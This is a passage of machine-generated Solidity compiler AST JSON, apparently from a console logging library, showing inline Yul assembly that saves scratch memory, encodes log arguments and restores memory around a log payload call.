256395:14:22","nodeType":"YulFunctionCall","src":"256395:14:22"},{"arguments":[{"name":"shift","nativeSrc":"256415:5:22","nodeType":"YulIdentifier","src":"256415:5:22"},{"arguments":[{"name":"shift","nativeSrc":"256426:5:22","nodeType":"YulIdentifier","src":"256426:5:22"},{"name":"w","nativeSrc":"256433:1:22","nodeType":"YulIdentifier","src":"256433:1:22"}],"functionName":{"name":"shr","nativeSrc":"256422:3:22","nodeType":"YulIdentifier","src":"256422:3:22"},"nativeSrc":"256422:13:22","nodeType":"YulFunctionCall","src":"256422:13:22"}],"functionName":{"name":"shl","nativeSrc":"256411:3:22","nodeType":"YulIdentifier","src":"256411:3:22"},"nativeSrc":"256411:25:22","nodeType":"YulFunctionCall","src":"256411:25:22"}],"functionName":{"name":"mstore","nativeSrc":"256388:6:22","nodeType":"YulIdentifier","src":"256388:6:22"},"nativeSrc":"256388:49:22","nodeType":"YulFunctionCall","src":"256388:49:22"},"nativeSrc":"256388:49:22","nodeType":"YulExpressionStatement","src":"256388:49:22"}]},"name":"writeString","nativeSrc":"256109:342:22","nodeType":"YulFunctionDefinition","parameters":[{"name":"pos","nativeSrc":"256130:3:22","nodeType":"YulTypedName","src":"256130:3:22","type":""},{"name":"w","nativeSrc":"256135:1:22","nodeType":"YulTypedName","src":"256135:1:22","type":""}],"src":"256109:342:22"},{"nativeSrc":"256464:17:22","nodeType":"YulAssignment","src":"256464:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"256476:4:22","nodeType":"YulLiteral","src":"256476:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"256470:5:22","nodeType":"YulIdentifier","src":"256470:5:22"},"nativeSrc":"256470:11:22","nodeType":"YulFunctionCall","src":"256470:11:22"},"variableNames":[{"name":"m0","nativeSrc":"256464:2:22","nodeType":"YulIdentifier","src":"256464:2:22"}]},{"nativeSrc":"256494:17:22","nodeType":"YulAssignment","src":"256494:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"256506:4:22","nodeType":"YulLiteral","src":"256506:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"256500:5:22","nodeType":"YulIdentifier","src":"256500:5:22"},"nativeSrc":"256500:11:22","nodeType":"YulFunctionCall","src":"256500:11:22"},"variableNames":[{"name":"m1","nativeSrc":"256494:2:22","nodeType":"YulIdentifier","src":"256494:2:22"}]},{"nativeSrc":"256524:17:22","nodeType":"YulAssignment","src":"256524:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"256536:4:22","nodeType":"YulLiteral","src":"256536:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"256530:5:22","nodeType":"YulIdentifier","src":"256530:5:22"},"nativeSrc":"256530:11:22","nodeType":"YulFunctionCall","src":"256530:11:22"},"variableNames":[{"name":"m2","nativeSrc":"256524:2:22","nodeType":"YulIdentifier","src":"256524:2:22"}]},{"nativeSrc":"256554:17:22","nodeType":"YulAssignment","src":"256554:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"256566:4:22","nodeType":"YulLiteral","src":"256566:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"256560:5:22","nodeType":"YulIdentifier","src":"256560:5:22"},"nativeSrc":"256560:11:22","nodeType":"YulFunctionCall","src":"256560:11:22"},"variableNames":[{"name":"m3","nativeSrc":"256554:2:22","nodeType":"YulIdentifier","src":"256554:2:22"}]},{"nativeSrc":"256584:17:22","nodeType":"YulAssignment","src":"256584:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"256596:4:22","nodeType":"YulLiteral","src":"256596:4:22","type":"","value":"0x80"}],"functionName":{"name":"mload","nativeSrc":"256590:5:22","nodeType":"YulIdentifier","src":"256590:5:22"},"nativeSrc":"256590:11:22","nodeType":"YulFunctionCall","src":"256590:11:22"},"variableNames":[{"name":"m4","nativeSrc":"256584:2:22","nodeType":"YulIdentifier","src":"256584:2:22"}]},{"nativeSrc":"256614:17:22","nodeType":"YulAssignment","src":"256614:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"256626:4:22","nodeType":"YulLiteral","src":"256626:4:22","type":"","value":"0xa0"}],"functionName":{"name":"mload","nativeSrc":"256620:5:22","nodeType":"YulIdentifier","src":"256620:5:22"},"nativeSrc":"256620:11:22","nodeType":"YulFunctionCall","src":"256620:11:22"},"variableNames":[{"name":"m5","nativeSrc":"256614:2:22","nodeType":"YulIdentifier","src":"256614:2:22"}]},{"nativeSrc":"256644:17:22","nodeType":"YulAssignment","src":"256644:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"256656:4:22","nodeType":"YulLiteral","src":"256656:4:22","type":"","value":"0xc0"}],"functionName":{"name":"mload","nativeSrc":"256650:5:22","nodeType":"YulIdentifier","src":"256650:5:22"},"nativeSrc":"256650:11:22","nodeType":"YulFunctionCall","src":"256650:11:22"},"variableNames":[{"name":"m6","nativeSrc":"256644:2:22","nodeType":"YulIdentifier","src":"256644:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"256744:4:22","nodeType":"YulLiteral","src":"256744:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"256750:10:22","nodeType":"YulLiteral","src":"256750:10:22","type":"","value":"0xde03e774"}],"functionName":{"name":"mstore","nativeSrc":"256737:6:22","nodeType":"YulIdentifier","src":"256737:6:22"},"nativeSrc":"256737:24:22","nodeType":"YulFunctionCall","src":"256737:24:22"},"nativeSrc":"256737:24:22","nodeType":"YulExpressionStatement","src":"256737:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"256781:4:22","nodeType":"YulLiteral","src":"256781:4:22","type":"","value":"0x20"},{"name":"p0","nativeSrc":"256787:2:22","nodeType":"YulIdentifier","src":"256787:2:22"}],"functionName":{"name":"mstore","nativeSrc":"256774:6:22","nodeType":"YulIdentifier","src":"256774:6:22"},"nativeSrc":"256774:16:22","nodeType":"YulFunctionCall","src":"256774:16:22"},"nativeSrc":"256774:16:22","nodeType":"YulExpressionStatement","src":"256774:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"256810:4:22","nodeType":"YulLiteral","src":"256810:4:22","type":"","value":"0x40"},{"name":"p1","nativeSrc":"256816:2:22","nodeType":"YulIdentifier","src":"256816:2:22"}],"functionName":{"name":"mstore","nativeSrc":"256803:6:22","nodeType":"YulIdentifier","src":"256803:6:22"},"nativeSrc":"256803:16:22","nodeType":"YulFunctionCall","src":"256803:16:22"},"nativeSrc":"256803:16:22","nodeType":"YulExpressionStatement","src":"256803:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"256839:4:22","nodeType":"YulLiteral","src":"256839:4:22","type":"","value":"0x60"},{"name":"p2","nativeSrc":"256845:2:22","nodeType":"YulIdentifier","src":"256845:2:22"}],"functionName":{"name":"mstore","nativeSrc":"256832:6:22","nodeType":"YulIdentifier","src":"256832:6:22"},"nativeSrc":"256832:16:22","nodeType":"YulFunctionCall","src":"256832:16:22"},"nativeSrc":"256832:16:22","nodeType":"YulExpressionStatement","src":"256832:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"256868:4:22","nodeType":"YulLiteral","src":"256868:4:22","type":"","value":"0x80"},{"kind":"number","nativeSrc":"256874:4:22","nodeType":"YulLiteral","src":"256874:4:22","type":"","value":"0x80"}],"functionName":{"name":"mstore","nativeSrc":"256861:6:22","nodeType":"YulIdentifier","src":"256861:6:22"},"nativeSrc":"256861:18:22","nodeType":"YulFunctionCall","src":"256861:18:22"},"nativeSrc":"256861:18:22","nodeType":"YulExpressionStatement","src":"256861:18:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"256904:4:22","nodeType":"YulLiteral","src":"256904:4:22","type":"","value":"0xa0"},{"name":"p3","nativeSrc":"256910:2:22","nodeType":"YulIdentifier","src":"256910:2:22"}],"functionName":{"name":"writeString","nativeSrc":"256892:11:22","nodeType":"YulIdentifier","src":"256892:11:22"},"nativeSrc":"256892:21:22","nodeType":"YulFunctionCall","src":"256892:21:22"},"nativeSrc":"256892:21:22","nodeType":"YulExpressionStatement","src":"256892:21:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":42264,"isOffset":false,"isSlot":false,"src":"256464:2:22","valueSize":1},{"declaration":42267,"isOffset":false,"isSlot":false,"src":"256494:2:22","valueSize":1},{"declaration":42270,"isOffset":false,"isSlot":false,"src":"256524:2:22","valueSize":1},{"declaration":42273,"isOffset":false,"isSlot":false,"src":"256554:2:22","valueSize":1},{"declaration":42276,"isOffset":false,"isSlot":false,"src":"256584:2:22","valueSize":1},{"declaration":42279,"isOffset":false,"isSlot":false,"src":"256614:2:22","valueSize":1},{"declaration":42282,"isOffset":false,"isSlot":false,"src":"256644:2:22","valueSize":1},{"declaration":42254,"isOffset":false,"isSlot":false,"src":"256787:2:22","valueSize":1},{"declaration":42256,"isOffset":false,"isSlot":false,"src":"256816:2:22","valueSize":1},{"declaration":42258,"isOffset":false,"isSlot":false,"src":"256845:2:22","valueSize":1},{"declaration":42260,"isOffset":false,"isSlot":false,"src":"256910:2:22","valueSize":1}],"id":42284,"nodeType":"InlineAssembly","src":"256086:837:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":42286,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"256948:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"30786334","id":42287,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"256954:4:22","typeDescriptions":{"typeIdentifier":"t_rational_196_by_1","typeString":"int_const 196"},"value":"0xc4"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_196_by_1","typeString":"int_const 196"}],"id":42285,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"256932:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":42288,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"256932:27:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":42289,"nodeType":"ExpressionStatement","src":"256932:27:22"},{"AST":{"nativeSrc":"256978:214:22","nodeType":"YulBlock","src":"256978:214:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"256999:4:22","nodeType":"YulLiteral","src":"256999:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"257005:2:22","nodeType":"YulIdentifier","src":"257005:2:22"}],"functionName":{"name":"mstore","nativeSrc":"256992:6:22","nodeType":"YulIdentifier","src":"256992:6:22"},"nativeSrc":"256992:16:22","nodeType":"YulFunctionCall","src":"256992:16:22"},"nativeSrc":"256992:16:22","nodeType":"YulExpressionStatement","src":"256992:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"257028:4:22","nodeType":"YulLiteral","src":"257028:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"257034:2:22","nodeType":"YulIdentifier","src":"257034:2:22"}],"functionName":{"name":"mstore","nativeSrc":"257021:6:22","nodeType":"YulIdentifier","src":"257021:6:22"},"nativeSrc":"257021:16:22","nodeType":"YulFunctionCall","src":"257021:16:22"},"nativeSrc":"257021:16:22","nodeType":"YulExpressionStatement","src":"257021:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"257057:4:22","nodeType":"YulLiteral","src":"257057:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"257063:2:22","nodeType":"YulIdentifier","src":"257063:2:22"}],"functionName":{"name":"mstore","nativeSrc":"257050:6:22","nodeType":"YulIdentifier","src":"257050:6:22"},"nativeSrc":"257050:16:22","nodeType":"YulFunctionCall","src":"257050:16:22"},"nativeSrc":"257050:16:22","nodeType":"YulExpressionStatement","src":"257050:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"257086:4:22","nodeType":"YulLiteral","src":"257086:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"257092:2:22","nodeType":"YulIdentifier","src":"257092:2:22"}],"functionName":{"name":"mstore","nativeSrc":"257079:6:22","nodeType":"YulIdentifier","src":"257079:6:22"},"nativeSrc":"257079:16:22","nodeType":"YulFunctionCall","src":"257079:16:22"},"nativeSrc":"257079:16:22","nodeType":"YulExpressionStatement","src":"257079:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"257115:4:22","nodeType":"YulLiteral","src":"257115:4:22","type":"","value":"0x80"},{"name":"m4","nativeSrc":"257121:2:22","nodeType":"YulIdentifier","src":"257121:2:22"}],"functionName":{"name":"mstore","nativeSrc":"257108:6:22","nodeType":"YulIdentifier","src":"257108:6:22"},"nativeSrc":"257108:16:22","nodeType":"YulFunctionCall","src":"257108:16:22"},"nativeSrc":"257108:16:22","nodeType":"YulExpressionStatement","src":"257108:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"257144:4:22","nodeType":"YulLiteral","src":"257144:4:22","type":"","value":"0xa0"},{"name":"m5","nativeSrc":"257150:2:22","nodeType":"YulIdentifier","src":"257150:2:22"}],"functionName":{"name":"mstore","nativeSrc":"257137:6:22","nodeType":"YulIdentifier","src":"257137:6:22"},"nativeSrc":"257137:16:22","nodeType":"YulFunctionCall","src":"257137:16:22"},"nativeSrc":"257137:16:22","nodeType":"YulExpressionStatement","src":"257137:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"257173:4:22","nodeType":"YulLiteral","src":"257173:4:22","type":"","value":"0xc0"},{"name":"m6","nativeSrc":"257179:2:22","nodeType":"YulIdentifier","src":"257179:2:22"}],"functionName":{"name":"mstore","nativeSrc":"257166:6:22","nodeType":"YulIdentifier","src":"257166:6:22"},"nativeSrc":"257166:16:22","nodeType":"YulFunctionCall","src":"257166:16:22"},"nativeSrc":"257166:16:22","nodeType":"YulExpressionStatement","src":"257166:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":42264,"isOffset":false,"isSlot":false,"src":"257005:2:22","valueSize":1},{"declaration":42267,"isOffset":false,"isSlot":false,"src":"257034:2:22","valueSize":1},{"declaration":42270,"isOffset":false,"isSlot":false,"src":"257063:2:22","valueSize":1},{"declaration":42273,"isOffset":false,"isSlot":false,"src":"257092:2:22","valueSize":1},{"declaration":42276,"isOffset":false,"isSlot":false,"src":"257121:2:22","valueSize":1},{"declaration":42279,"isOffset":false,"isSlot":false,"src":"257150:2:22","valueSize":1},{"declaration":42282,"isOffset":false,"isSlot":false,"src":"257179:2:22","valueSize":1}],"id":42290,"nodeType":"InlineAssembly","src":"256969:223:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"255873:3:22","parameters":{"id":42261,"nodeType":"ParameterList","parameters":[{"constant":false,"id":42254,"mutability":"mutable","name":"p0","nameLocation":"255885:2:22","nodeType":"VariableDeclaration","scope":42292,"src":"255877:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":42253,"name":"uint256","nodeType":"ElementaryTypeName","src":"255877:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":42256,"mutability":"mutable","name":"p1","nameLocation":"255894:2:22","nodeType":"VariableDeclaration","scope":42292,"src":"255889:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":42255,"name":"bool","nodeType":"ElementaryTypeName","src":"255889:4:22","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":42258,"mutability":"mutable","name":"p2","nameLocation":"255906:2:22","nodeType":"VariableDeclaration","scope":42292,"src":"255898:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":42257,"name":"uint256","nodeType":"ElementaryTypeName","src":"255898:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":42260,"mutability":"mutable","name":"p3","nameLocation":"255918:2:22","nodeType":"VariableDeclaration","scope":42292,"src":"255910:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":42259,"name":"bytes32","nodeType":"ElementaryTypeName","src":"255910:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"src":"255876:45:22"},"returnParameters":{"id":42262,"nodeType":"ParameterList","parameters":[],"src":"255936:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":42332,"nodeType":"FunctionDefinition","src":"257204:1334:22","nodes":[],"body":{"id":42331,"nodeType":"Block","src":"257276:1262:22","nodes":[],"statements":[{"assignments":[42304],"declarations":[{"constant":false,"id":42304,"mutability":"mutable","name":"m0","nameLocation":"257294:2:22","nodeType":"VariableDeclaration","scope":42331,"src":"257286:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":42303,"name":"bytes32","nodeType":"ElementaryTypeName","src":"257286:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":42305,"nodeType":"VariableDeclarationStatement","src":"257286:10:22"},{"assignments":[42307],"declarations":[{"constant":false,"id":42307,"mutability":"mutable","name":"m1","nameLocation":"257314:2:22","nodeType":"VariableDeclaration","scope":42331,"src":"257306:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":42306,"name":"bytes32","nodeType":"ElementaryTypeName","src":"257306:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":42308,"nodeType":"VariableDeclarationStatement","src":"257306:10:22"},{"assignments":[42310],"declarations":[{"constant":false,"id":42310,"mutability":"mutable","name":"m2","nameLocation":"257334:2:22","nodeType":"VariableDeclaration","scope":42331,"src":"257326:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":42309,"name":"bytes32","nodeType":"ElementaryTypeName","src":"257326:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":42311,"nodeType":"VariableDeclarationStatement","src":"257326:10:22"},{"assignments":[42313],"declarations":[{"constant":false,"id":42313,"mutability":"mutable","name":"m3","nameLocation":"257354:2:22","nodeType":"VariableDeclaration","scope":42331,"src":"257346:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":42312,"name":"bytes32","nodeType":"ElementaryTypeName","src":"257346:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":42314,"nodeType":"VariableDeclarationStatement","src":"257346:10:22"},{"assignments":[42316],"declarations":[{"constant":false,"id":42316,"mutability":"mutable","name":"m4","nameLocation":"257374:2:22","nodeType":"VariableDeclaration","scope":42331,"src":"257366:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":42315,"name":"bytes32","nodeType":"ElementaryTypeName","src":"257366:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":42317,"nodeType":"VariableDeclarationStatement","src":"257366:10:22"},{"assignments":[42319],"declarations":[{"constant":false,"id":42319,"mutability":"mutable","name":"m5","nameLocation":"257394:2:22","nodeType":"VariableDeclaration","scope":42331,"src":"257386:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":42318,"name":"bytes32","nodeType":"ElementaryTypeName","src":"257386:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":42320,"nodeType":"VariableDeclarationStatement","src":"257386:10:22"},{"assignments":[42322],"declarations":[{"constant":false,"id":42322,"mutability":"mutable","name":"m6","nameLocation":"257414:2:22","nodeType":"VariableDeclaration","scope":42331,"src":"257406:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":42321,"name":"bytes32","nodeType":"ElementaryTypeName","src":"257406:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":42323,"nodeType":"VariableDeclarationStatement","src":"257406:10:22"},{"AST":{"nativeSrc":"257435:828:22","nodeType":"YulBlock","src":"257435:828:22","statements":[{"body":{"nativeSrc":"257478:313:22","nodeType":"YulBlock","src":"257478:313:22","statements":[{"nativeSrc":"257496:15:22","nodeType":"YulVariableDeclaration","src":"257496:15:22","value":{"kind":"number","nativeSrc":"257510:1:22","nodeType":"YulLiteral","src":"257510:1:22","type":"","value":"0"},"variables":[{"name":"length","nativeSrc":"257500:6:22","nodeType":"YulTypedName","src":"257500:6:22","type":""}]},{"body":{"nativeSrc":"257581:40:22","nodeType":"YulBlock","src":"257581:40:22","statements":[{"body":{"nativeSrc":"257610:9:22","nodeType":"YulBlock","src":"257610:9:22","statements":[{"nativeSrc":"257612:5:22","nodeType":"YulBreak","src":"257612:5:22"}]},"condition":{"arguments":[{"arguments":[{"name":"length","nativeSrc":"257598:6:22","nodeType":"YulIdentifier","src":"257598:6:22"},{"name":"w","nativeSrc":"257606:1:22","nodeType":"YulIdentifier","src":"257606:1:22"}],"functionName":{"name":"byte","nativeSrc":"257593:4:22","nodeType":"YulIdentifier","src":"257593:4:22"},"nativeSrc":"257593:15:22","nodeType":"YulFunctionCall","src":"257593:15:22"}],"functionName":{"name":"iszero","nativeSrc":"257586:6:22","nodeType":"YulIdentifier","src":"257586:6:22"},"nativeSrc":"257586:23:22","nodeType":"YulFunctionCall","src":"257586:23:22"},"nativeSrc":"257583:36:22","nodeType":"YulIf","src":"257583:36:22"}]},"condition":{"arguments":[{"name":"length","nativeSrc":"257538:6:22","nodeType":"YulIdentifier","src":"257538:6:22"},{"kind":"number","nativeSrc":"257546:4:22","nodeType":"YulLiteral","src":"257546:4:22","type":"","value":"0x20"}],"functionName":{"name":"lt","nativeSrc":"257535:2:22","nodeType":"YulIdentifier","src":"257535:2:22"},"nativeSrc":"257535:16:22","nodeType":"YulFunctionCall","src":"257535:16:22"},"nativeSrc":"257528:93:22","nodeType":"YulForLoop","post":{"nativeSrc":"257552:28:22","nodeType":"YulBlock","src":"257552:28:22","statements":[{"nativeSrc":"257554:24:22","nodeType":"YulAssignment","src":"257554:24:22","value":{"arguments":[{"name":"length","nativeSrc":"257568:6:22","nodeType":"YulIdentifier","src":"257568:6:22"},{"kind":"number","nativeSrc":"257576:1:22","nodeType":"YulLiteral","src":"257576:1:22","type":"","value":"1"}],"functionName":{"name":"add","nativeSrc":"257564:3:22","nodeType":"YulIdentifier","src":"257564:3:22"},"nativeSrc":"257564:14:22","nodeType":"YulFunctionCall","src":"257564:14:22"},"variableNames":[{"name":"length","nativeSrc":"257554:6:22","nodeType":"YulIdentifier","src":"257554:6:22"}]}]},"pre":{"nativeSrc":"257532:2:22","nodeType":"YulBlock","src":"257532:2:22","statements":[]},"src":"257528:93:22"},{"expression":{"arguments":[{"name":"pos","nativeSrc":"257645:3:22","nodeType":"YulIdentifier","src":"257645:3:22"},{"name":"length","nativeSrc":"257650:6:22","nodeType":"YulIdentifier","src":"257650:6:22"}],"functionName":{"name":"mstore","nativeSrc":"257638:6:22","nodeType":"YulIdentifier","src":"257638:6:22"},"nativeSrc":"257638:19:22","nodeType":"YulFunctionCall","src":"257638:19:22"},"nativeSrc":"257638:19:22","nodeType":"YulExpressionStatement","src":"257638:19:22"},{"nativeSrc":"257674:37:22","nodeType":"YulVariableDeclaration","src":"257674:37:22","value":{"arguments":[{"kind":"number","nativeSrc":"257691:3:22","nodeType":"YulLiteral","src":"257691:3:22","type":"","value":"256"},{"arguments":[{"kind":"number","nativeSrc":"257700:1:22","nodeType":"YulLiteral","src":"257700:1:22","type":"","value":"3"},{"name":"length","nativeSrc":"257703:6:22","nodeType":"YulIdentifier","src":"257703:6:22"}],"functionName":{"name":"shl","nativeSrc":"257696:3:22","nodeType":"YulIdentifier","src":"257696:3:22"},"nativeSrc":"257696:14:22","nodeType":"YulFunctionCall","src":"257696:14:22"}],"functionName":{"name":"sub","nativeSrc":"257687:3:22","nodeType":"YulIdentifier","src":"257687:3:22"},"nativeSrc":"257687:24:22","nodeType":"YulFunctionCall","src":"257687:24:22"},"variables":[{"name":"shift","nativeSrc":"257678:5:22","nodeType":"YulTypedName","src":"257678:5:22","type":""}]},{"expression":{"arguments":[{"arguments":[{"name":"pos","nativeSrc":"257739:3:22","nodeType":"YulIdentifier","src":"257739:3:22"},{"kind":"number","nativeSrc":"257744:4:22","nodeType":"YulLiteral","src":"257744:4:22","type":"","value":"0x20"}],"functionName":{"name":"add","nativeSrc":"257735:3:22","nodeType":"YulIdentifier","src":"257735:3:22"},"nativeSrc":"257735:14:22","nodeType":"YulFunctionCall","src":"257735:14:22"},{"arguments":[{"name":"shift","nativeSrc":"257755:5:22","nodeType":"YulIdentifier","src":"257755:5:22"},{"arguments":[{"name":"shift","nativeSrc":"257766:5:22","nodeType":"YulIdentifier","src":"257766:5:22"},{"name":"w","nativeSrc":"257773:1:22","nodeType":"YulIdentifier","src":"257773:1:22"}],"functionName":{"name":"shr","nativeSrc":"257762:3:22","nodeType":"YulIdentifier","src":"257762:3:22"},"nativeSrc":"257762:13:22","nodeType":"YulFunctionCall","src":"257762:13:22"}],"functionName":{"name":"shl","nativeSrc":"257751:3:22","nodeType":"YulIdentifier","src":"257751:3:22"},"nativeSrc":"257751:25:22","nodeType":"YulFunctionCall","src":"257751:25:22"}],"functionName":{"name":"mstore","nativeSrc":"257728:6:22","nodeType":"YulIdentifier","src":"257728:6:22"},"nativeSrc":"257728:49:22","nodeType":"YulFunctionCall","src":"257728:49:22"},"nativeSrc":"257728:49:22","nodeType":"YulExpressionStatement","src":"257728:49:22"}]},"name":"writeString","nativeSrc":"257449:342:22","nodeType":"YulFunctionDefinition","parameters":[{"name":"pos","nativeSrc":"257470:3:22","nodeType":"YulTypedName","src":"257470:3:22","type":""},{"name":"w","nativeSrc":"257475:1:22","nodeType":"YulTypedName","src":"257475:1:22","type":""}],"src":"257449:342:22"},{"nativeSrc":"257804:17:22","nodeType":"YulAssignment","src":"257804:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"257816:4:22","nodeType":"YulLiteral","src":"257816:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"257810:5:22","nodeType":"YulIdentifier","src":"257810:5:22"},"nativeSrc":"257810:11:22","nodeType":"YulFunctionCall","src":"257810:11:22"},"variableNames":[{"name":"m0","nativeSrc":"257804:2:22","nodeType":"YulIdentifier","src":"257804:2:22"}]},{"nativeSrc":"257834:17:22","nodeType":"YulAssignment","src":"257834:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"257846:4:22","nodeType":"YulLiteral","src":"257846:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"257840:5:22","nodeType":"YulIdentifier","src":"257840:5:22"},"nativeSrc":"257840:11:22","nodeType":"YulFunctionCall","src":"257840:11:22"},"variableNames":[{"name":"m1","nativeSrc":"257834:2:22","nodeType":"YulIdentifier","src":"257834:2:22"}]},{"nativeSrc":"257864:17:22","nodeType":"YulAssignment","src":"257864:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"257876:4:22","nodeType":"YulLiteral","src":"257876:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"257870:5:22","nodeType":"YulIdentifier","src":"257870:5:22"},"nativeSrc":"257870:11:22","nodeType":"YulFunctionCall","src":"257870:11:22"},"variableNames":[{"name":"m2","nativeSrc":"257864:2:22","nodeType":"YulIdentifier","src":"257864:2:22"}]},{"nativeSrc":"257894:17:22","nodeType":"YulAssignment","src":"257894:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"257906:4:22","nodeType":"YulLiteral","src":"257906:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"257900:5:22","nodeType":"YulIdentifier","src":"257900:5:22"},"nativeSrc":"257900:11:22","nodeType":"YulFunctionCall","src":"257900:11:22"},"variableNames":[{"name":"m3","nativeSrc":"257894:2:22","nodeType":"YulIdentifier","src":"257894:2:22"}]},{"nativeSrc":"257924:17:22","nodeType":"YulAssignment","src":"257924:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"257936:4:22","nodeType":"YulLiteral","src":"257936:4:22","type":"","value":"0x80"}],"functionName":{"name":"mload","nativeSrc":"257930:5:22","nodeType":"YulIdentifier","src":"257930:5:22"},"nativeSrc":"257930:11:22","nodeType":"YulFunctionCall","src":"257930:11:22"},"variableNames":[{"name":"m4","nativeSrc":"257924:2:22","nodeType":"YulIdentifier","src":"257924:2:22"}]},{"nativeSrc":"257954:17:22","nodeType":"YulAssignment","src":"257954:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"257966:4:22","nodeType":"YulLiteral","src":"257966:4:22","type":"","value":"0xa0"}],"functionName":{"name":"mload","nativeSrc":"257960:5:22","nodeType":"YulIdentifier","src":"257960:5:22"},"nativeSrc":"257960:11:22","nodeType":"Y